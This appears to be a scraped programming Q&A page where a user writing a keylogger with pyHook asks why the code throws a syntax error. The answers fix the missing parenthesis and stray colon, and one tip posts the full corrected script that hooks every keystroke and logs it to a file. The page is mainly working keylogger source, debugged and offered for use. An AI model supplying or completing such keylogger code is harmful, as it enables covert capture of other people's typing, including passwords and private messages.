Question

Hey does anyone know what it is wrong with the chr in this code, the first chr (chr(event.Ascii):). it just returns with a syntax error. I am writing a keylogger using pyHook. Thanks in advance.

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
    chr(event.Ascii):
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Was it helpful?

Solution

There are two errors in that section of code.

First, you are missing a closing parenthesis:

logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
#              ----^                                                     -------^

Without that closing parenthesis, Python does not know when that expression is supposed to end. The next line then doesn't make sense and raises a SyntaxError exception.

Your next line has a stray colon:

chr(event.Ascii):

which you need to remove. You also do not store the result of that call, you could just omit that line.

The following is correct Python.

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True

OTHER TIPS

This line has a colon at the end of it.

chr(event.Ascii):

You should remove it.

Use this code and enjoy..!!

import pyHook, pythoncom, sys, logging

file_log = 'D:\zzzz1.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top